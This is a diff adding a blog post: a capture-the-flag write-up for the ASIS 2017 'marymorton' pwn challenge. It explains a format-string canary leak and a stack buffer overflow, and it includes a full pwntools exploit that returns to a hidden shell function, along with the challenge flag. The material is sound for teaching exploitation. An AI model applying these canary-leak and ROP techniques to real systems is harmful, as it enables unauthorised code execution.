|
| 1 | +--- |
| 2 | +layout: post |
| 3 | +title: Asis 2017 marymorton |
| 4 | +date: 2025-07-04 16:32:02 +0300 |
| 5 | +categories: Nightmare-series ret2system |
| 6 | +tags: nightmare buffer-overflow x64 leak-canary ROP stack-canary ret2win |
| 7 | +--- |
| 8 | + |
| 9 | +## Information |
| 10 | +- Category: Pwn |
| 11 | +- Points: 43 |
| 12 | + |
| 13 | +## Description |
| 14 | +> Mary surprises Sherlock with her knowledge and insight into his character, but she had a very obvious vulnerability which Sherlock exploited it, although it was very painful for him! |
| 15 | +
|
| 16 | +## Write-up |
| 17 | +Running the program produces the following output: |
| 18 | +```bash |
| 19 | +Welcome to the battle ! |
| 20 | +[Great Fairy] level pwned |
| 21 | +Select your weapon |
| 22 | +1. Stack Bufferoverflow Bug |
| 23 | +2. Format String Bug |
| 24 | +3. Exit the battle |
| 25 | +``` |
| 26 | +The program allows you to select a vulnerability to exploit — which is pretty cool! |
| 27 | + |
| 28 | + |
| 29 | + |
| 30 | +Now let’s get the basic info from the program: |
| 31 | +```bash |
| 32 | +checksec --file=./mary_morton |
| 33 | + Arch: amd64-64-little |
| 34 | + RELRO: Partial RELRO |
| 35 | + Stack: Canary found |
| 36 | + NX: NX enabled |
| 37 | + PIE: No PIE (0x400000) |
| 38 | +``` |
| 39 | +The program has some **mitigations** like **NX enabled** and a **stack canary**. Keep this in mind. |
| 40 | +> **Stack canary** is present, which protects against simple stack overflows. |
| 41 | +**NX (No eXecute)** is enabled, so we can't execute code on the stack. |
| 42 | +{: .prompt-info} |
| 43 | + |
| 44 | +There are **two functions** that can be called based on your **choice**: |
| 45 | +<img src="/images/marymorton/rev-function.png" style="border-radius: 14px;"> |
| 46 | + |
| 47 | +The first function has a format string vulnerability — but how? |
| 48 | +You can see that it takes your input and passes it directly to ```printf``` without a **format string**. |
| 49 | +This makes it vulnerable! You can use it to **read** or **write** memory, which makes it a very powerful vulnerability. |
| 50 | +<img src="/images/marymorton/rev-fmtstr.png" style="border-radius: 14px;"> |
| 51 | + |
| 52 | + |
| 53 | +> **Leak memory** using format specifiers like **%x**, **%s**, or **%p**. |
| 54 | +{: .prompt-tip} |
| 55 | +> **Write to memory** using **%n** |
| 56 | +{: .prompt-info} |
| 57 | + |
| 58 | + |
| 59 | + |
| 60 | +The second function has a **stack buffer overflow** vulnerability. |
| 61 | +It uses ```read()``` with a size of ```0x100```, which allows you to overflow the buffer and control the return address. |
| 62 | +This means you can overwrite the return address and **redirect execution wherever you want**. |
| 63 | +<img src="/images/marymorton/rev-buffoverflow.png" style="border-radius: 14px;"> |
| 64 | + |
| 65 | +I found the ```system``` function in the **GOT/PLT** section — and that’s very important! |
| 66 | +Since the binary is **stripped** and has **no PIE**, we can use its fixed address later in the exploit. |
| 67 | +But wait — ```system``` isn’t used in ```main```, so why is it in the program? |
| 68 | +You can use tools like ```xref``` to see where it’s called from. |
| 69 | +And boom — there’s a **hidden function** that runs ```system("/bin/sh")``` and gives a shell! |
| 70 | +Now, we just need to **call it**. |
| 71 | +<img src="/images/marymorton/hidden-func.png" style="border-radius: 14px;"> |
| 72 | + |
| 73 | +To bypass the **stack canary**, we need two things: |
| 74 | + |
| 75 | +- The **offset** from the buffer to the canary and return address |
| 76 | + |
| 77 | +- The **leaked canary value** |
| 78 | + |
| 79 | +Since we have a **format string vulnerability**, we can leak the canary from the stack. |
| 80 | +Once we know the offset and the canary value, we can **overwrite the stack safely**, pass the canary check, and then **return to the hidden function** that gives us a shell. |
| 81 | + |
| 82 | + |
| 83 | +> Use ```pwndbg``` to find the offset between the buffer, the canary, and the return address. |
| 84 | +{: .prompt-tip} |
| 85 | + |
| 86 | +To calculate the offset between the buffer and the canary: |
| 87 | + |
| 88 | +- The **buffer** is at ```rbp - 0x98``` |
| 89 | + |
| 90 | +- The **canary** is at ```rbp - 0x10``` |
| 91 | + |
| 92 | +So we need ```0x98 - 0x10 = 0x88``` **bytes** to reach the canary. |
| 93 | +Then, we need **8 more bytes** to reach the return **address** (after the canary). |
| 94 | +<img src="/images/marymorton/layout-bugbof.png" style="border-radius: 14px;"> |
| 95 | + |
| 96 | +find the **canary’s offset in memory**, set a breakpoint at the start of the ```fmtstrBug``` function — specifically at ```0x4008f6```: |
| 97 | +```nasm |
| 98 | + 0x4008ef SUB RSP,0x90 |
| 99 | + |
| 100 | + |
| 101 | + 0x4008f6 MOV RAX,qword ptr FS:[0x28] |
| 102 | + |
| 103 | +
|
| 104 | +``` |
| 105 | +> This line moves the canary value from ```FS:[0x28]``` into ```RAX```. |
| 106 | +{: .prompt-info} |
| 107 | + |
| 108 | +Then step forward using ```ni``` (next instruction): |
| 109 | +```bash |
| 110 | +pwndbg> ni |
| 111 | +0x0000000000400903 in ?? () |
| 112 | +. |
| 113 | +. |
| 114 | +. |
| 115 | +pwndbg> p/x $rax |
| 116 | +$2 = 0xb145368bea2f6300 |
| 117 | +pwndbg> |
| 118 | +``` |
| 119 | +Now, set a breakpoint at the ```printf``` call inside the ```fmtstrBug``` function to find the **canary’s offset in the stack**: |
| 120 | +```bash |
| 121 | +pwndbg> c |
| 122 | +Continuing. |
| 123 | +Breakpoint 1, 0x0000000000400944 in ?? () |
| 124 | +*RIP 0x400944 ◂— call printf@plt |
| 125 | +► 0x400944 call printf@plt |
| 126 | +``` |
| 127 | + |
| 128 | +Then check the stack: |
| 129 | +``` |
| 130 | +pwndbg> stack |
| 131 | +00:0000│ rdi rsi rsp 0x7fffffffde80 ◂— '%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.%lX.\n' |
| 132 | +... |
| 133 | +11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300 ← This is the canary! |
| 134 | +``` |
| 135 | +Then continue to see the actual output from ```printf```: |
| 136 | +``` |
| 137 | +pwndbg> c |
| 138 | +Continuing. |
| 139 | +7FFFFFFFDE80.35.7FFFFFFFDF20.0.0.2E586C25... |
| 140 | +``` |
| 141 | +> 1st rdi | 2nd rsi | 3rd rdx | 4th rcx | 5th r8 | 6th r9 | then stack |
| 142 | +{: .prompt-tip} |
| 143 | +The **canary** is located at ```0x88``` bytes above the base of the buffer on the stack: |
| 144 | +``` |
| 145 | + 11:0088│-008 0x7fffffffdf08 ◂— 0xb145368bea2f6300 ← canary |
| 146 | +``` |
| 147 | +Since each step in a format string leak like ```%lx``` reads **8 bytes** (64 bits), we calculate: |
| 148 | +``` |
| 149 | +0x88 / 0x8 = 17 |
| 150 | +``` |
| 151 | +So it takes **17 stack slots** to reach the canary after the format string arguments begin. |
| 152 | + |
| 153 | +In x64, the first **6 arguments** to ```printf()``` are passed in registers (```rdi```, ```rsi```, ```rdx```, etc.). Format string values start on the stack **after those**. |
| 154 | + |
| 155 | +Final result: |
| 156 | +``` |
| 157 | +17 (stack positions to canary) + 6 (register args) = 23 |
| 158 | +``` |
| 159 | +So the **canary is at offset** ```%23$lx``` in the format string! |
| 160 | +```bash |
| 161 | +Welcome to the battle ! |
| 162 | +[Great Fairy] level pwned |
| 163 | +Select your weapon |
| 164 | +1. Stack Bufferoverflow Bug |
| 165 | +2. Format String Bug |
| 166 | +3. Exit the battle |
| 167 | +2 |
| 168 | +%23$lX |
| 169 | +EF2CFA8399681700 |
| 170 | +``` |
| 171 | + |
| 172 | +## Exploit |
| 173 | + |
| 174 | +```python |
| 175 | + |
| 176 | +#!/usr/bin/env python3 |
| 177 | + |
| 178 | +from pwn import * |
| 179 | + |
| 180 | +exe = ELF("./mary_morton") |
| 181 | + |
| 182 | +context.binary = exe |
| 183 | + |
| 184 | + |
| 185 | +def conn(): |
| 186 | + if args.LOCAL: |
| 187 | + r = process([exe.path]) |
| 188 | + if args.DEBUG: |
| 189 | + gdb.attach(r) |
| 190 | + else: |
| 191 | + r = remote("addr", 1000) |
| 192 | + |
| 193 | + return r |
| 194 | + |
| 195 | +def leakCanary(r): |
| 196 | + r.recvuntil("Exit the battle \n") |
| 197 | + r.sendline(b"2") |
| 198 | + |
| 199 | + fmtstr = b"%23$lX" |
| 200 | + |
| 201 | + r.sendline(fmtstr) |
| 202 | + canary = int(r.recvline().decode(),16) |
| 203 | + |
| 204 | + log.success(f"Canary Leak:{hex(canary)}") |
| 205 | + |
| 206 | + return canary |
| 207 | + |
| 208 | +def main(): |
| 209 | + r = conn() |
| 210 | + |
| 211 | + hiddenFunc = 0x4008da |
| 212 | + ret = 0x400659 |
| 213 | + canary = leakCanary(r) |
| 214 | + |
| 215 | + payload = b"A"*0x88 |
| 216 | + payload+= p64(canary) |
| 217 | + payload+= b"B"*0x8 |
| 218 | + payload+= p64(ret) |
| 219 | + payload+= p64(hiddenFunc) |
| 220 | + |
| 221 | + r.sendline(b"1") |
| 222 | + r.sendline(payload) |
| 223 | + |
| 224 | + r.interactive() |
| 225 | + |
| 226 | +if __name__ == "__main__": |
| 227 | + main() |
| 228 | + |
| 229 | +``` |
| 230 | + |
| 231 | +## Flag |
| 232 | +Flag: ```ASIS{An_impROv3d_v3r_0f_f41rY_iN_fairy_lAnds!}``` |
0 commit comments